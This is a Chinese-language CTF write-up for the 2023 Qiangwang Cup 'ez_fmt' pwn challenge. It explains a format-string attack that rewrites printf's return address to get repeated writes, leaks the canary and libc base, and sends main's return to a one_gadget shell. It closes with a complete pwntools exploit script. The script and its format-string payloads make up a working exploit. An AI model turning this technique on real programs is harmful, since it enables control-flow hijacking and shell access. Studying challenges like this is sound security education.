强网杯2023_ezfmt复现

2023强网杯ez_fmt

序言:明天要打强网杯了,特意找了一点以前的题写写,发现这高质量比赛的题真是开阔视野了,收获不少。

解题思路

IDA反编译一下看一下伪代码,第一眼看上去真是简单题呀,但是以开始写脚本发现十分的不对劲,只有一个格式化字符串漏洞,而且利用过后不能通过fini_array实现无限利用。

image-20241101202921204

思考很久都没有思路,上网查看了大佬的wp才恍然大悟。也彻底颠覆了我对控制函数返回地址的理解。

image-20241101203607009

题目首先给了个buf的地址,通过调试发现,printf的返回地址就是buf-0x8

image-20241101203800712

这时候我们就可以通过格式化字符串来控制buf-0x8的内容,实现printf函数后直接跳转到read函数,而不是执行w = 0,这样我们就可以实现多次格式化字符串利用了。

image-20241101204124552

可以看到我们已经把返回地址改为0x401205,这样就会执行完printf函数直接又执行read函数

image-20241101204259525

所以我们的攻击思路为

  1. 通过格式化字符串修改printf函数的返回地址,并且泄露libc基地址
  2. 通过格式化字符串修改main函数的返回地址为one_gadget

总结

题目能泄露地址不要总想着通过main函数控制执行流,有时候通过其他函数才能化繁为简。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
from ctypes import *
from LibcSearcher import *
import sys

ls = lambda data :log.success(data)
lss = lambda s :ls('\033[1;31;40m%s ---> 0x%x \033[0m' % (s, eval(s)))

filename = './ez_fmt'
url = ''

context.terminal = ['tmux', 'splitw', '-h', '-p', '80']
context.log_level = 'debug'

match = re.match(r'([^:\s]+)(?::(\d+)|\s+(\d+))?', url)
hostname, port = (match.group(1), match.group(2) or match.group(3)) if match else (None, None)
p = (remote(hostname, port) if len(sys.argv) > 1 and sys.argv[1] == 're' else process(filename))
if len(sys.argv) > 1 and sys.argv[1] == 'de':
gdbscript = '''
b * 0x000000000040121B
b * 0x0000000000401239
'''
gdb.attach(p, gdbscript=gdbscript)
print("GDB attached successfully")
elf = ELF(filename)
libc = ELF('./libc-2.31.so')

p.recvuntil('gift for you ')
buf_addr = int(p.recvuntil(b'\n' , drop = True) , 16)
lss('buf_addr')
read_ret = buf_addr - 0x8
payload = b'%5c%9$hhn%17$p%19$p'.ljust(0x18 , b'\x00')
print(len(payload))
payload += p64(read_ret)
print(len(payload))
p.send(payload)
p.recv(5)
canary = int(p.recv(18) , 16)
lss('canary')
__libc_start_call_main = int(p.recv(14) , 16) - 243
lss('__libc_start_call_main')
base_addr = __libc_start_call_main - libc.sym['__libc_start_main']
lss('base_addr')
one_gadget = [0xe3afe , 0xe3b01 , 0xe3b04]
execve = base_addr + one_gadget[1]
mian_ret = buf_addr + 0x68
lss('execve')
bit1 = (execve >> 16) & 0xff
bit2 = execve & 0xffff
lss('bit1')
lss('bit2')
payload = b'%' + str(bit1).encode() + b'c%10$hhn'
payload += b'%' + str(bit2 - bit1).encode() + b'c%11$hn'
print(len(payload))
payload = payload.ljust(0x20 , b'\x00')
payload += p64(mian_ret + 2) + p64(mian_ret)
print(len(payload))
p.send(payload)

p.interactive()